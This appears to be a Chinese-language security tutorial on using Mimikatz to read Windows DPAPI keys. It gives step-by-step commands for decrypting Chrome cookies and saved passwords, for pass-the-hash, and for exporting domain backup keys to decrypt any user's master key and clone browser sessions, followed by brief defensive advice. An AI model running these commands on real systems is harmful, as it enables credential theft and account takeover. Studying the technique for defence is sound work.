使用 MimiKatz 读取 DPAPI 加密密钥的几种方式
字数 1433 2025-08-05 08:19:10
DPAPI 密钥提取与利用技术详解
1. DPAPI 概述
DPAPI (Data Protection Application Programming Interface) 是 Windows 系统的数据保护接口,主要用于保护加密数据。在 Windows 系统中,用户的加密数据大都采用 DPAPI 进行存储,解密这些数据需要获得对应的 MasterKey。
2. 攻击场景与前提条件
2.1 典型攻击场景
- 已控制目标域环境中的主机
- 拥有域管理员凭据和哈希(或二者之一)
- 目标是访问存储在谷歌浏览器中的特定用户凭据(历史记录和 cookie)
2.2 两种主要攻击方式
- 直接主机攻击:在受害者主机上执行 Mimikatz
- 域控制器攻击:通过域备份密钥解密任意用户主密钥
3. 直接主机攻击方法
3.1 基本命令
# 解密 Chrome Cookies
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect
# 解密 Chrome 保存的凭据
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect
3.2 限制与解决方案
限制:
- 需要上传 Mimikatz 到目标主机
- 可能触发防病毒软件和 EDR
- 使用 psexec 执行时可能无法提取 Chrome 数据(权限问题)
解决方案:
# 以 SYSTEM 权限获取主密钥
sekurlsa::dpapi
# 然后使用特定主密钥解密
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:<master_key>
4. 域控制器攻击方法
4.1 获取域管理员权限
# 使用明文密码
runas /netonly /u:"core.internal\administrator" cmd.exe
# 或使用 NTLM 哈希(传递哈希攻击)
sekurlsa::pth /user:DA_ADMIN_USER /domain:FQDN.DOMAIN.LOCAL /ntlm:USER_NTLM_HASH
4.2 导出域备份密钥
lsadump::backupkeys /system:DOMAIN-CONTROLLER-HOSTNAME /export
输出文件示例:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk
4.3 关键文件收集
-
Chrome 数据文件:
C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Local StateC:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\*
-
DPAPI 主密钥文件:
C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID\*- SID 示例:
S-1-5-21-1968630676-249568448-1092335803-4255
4.4 使用备份密钥解密主密钥
dpapi::masterkey /in:98ec219d-d8c0-4d35-be33-8dca90bba887 /pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk
输出中包含用户的主密钥,如:
9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b
4.5 将解密的密钥导入本地内存
dpapi::create /guid:{98ec219d-d8c0-4d35-be33-8dca90bba887} /key:<master_key> /password:<your_password> /protected
4.6 复制密钥文件到正确位置
xcopy /H <source_key_file> C:\Users\<your_user>\AppData\Roaming\Microsoft\Protect\<your_SID>\
5. 攻击效果
成功执行后,攻击者可以:
- 完全克隆受害者的 Chrome 会话
- 访问所有保存的密码、历史记录和书签
- 登录受害者的各种在线账户(如 Gmail)
- 无需持续访问受害者主机即可维持对云服务的访问
6. 防御建议
- 限制域管理员权限:严格控制域管理员账户的使用
- 监控异常活动:检测 LSASS 内存转储和 DPAPI 相关操作
- 启用 Credential Guard:防止凭据盗窃
- 使用 Chrome 主密码:为保存的密码添加额外保护层
- 定期轮换域备份密钥:减少密钥泄露的影响范围
7. 总结
通过 DPAPI 攻击技术,攻击者在获得域管理员权限后可以解密域内任何用户的主密钥,进而访问其加密数据。这种攻击方式特别危险,因为它允许攻击者在不持续访问受害者主机的情况下,通过克隆浏览器会话来维持对云服务的访问权限。防御方应重视域管理员权限的管理和 DPAPI 相关活动的监控。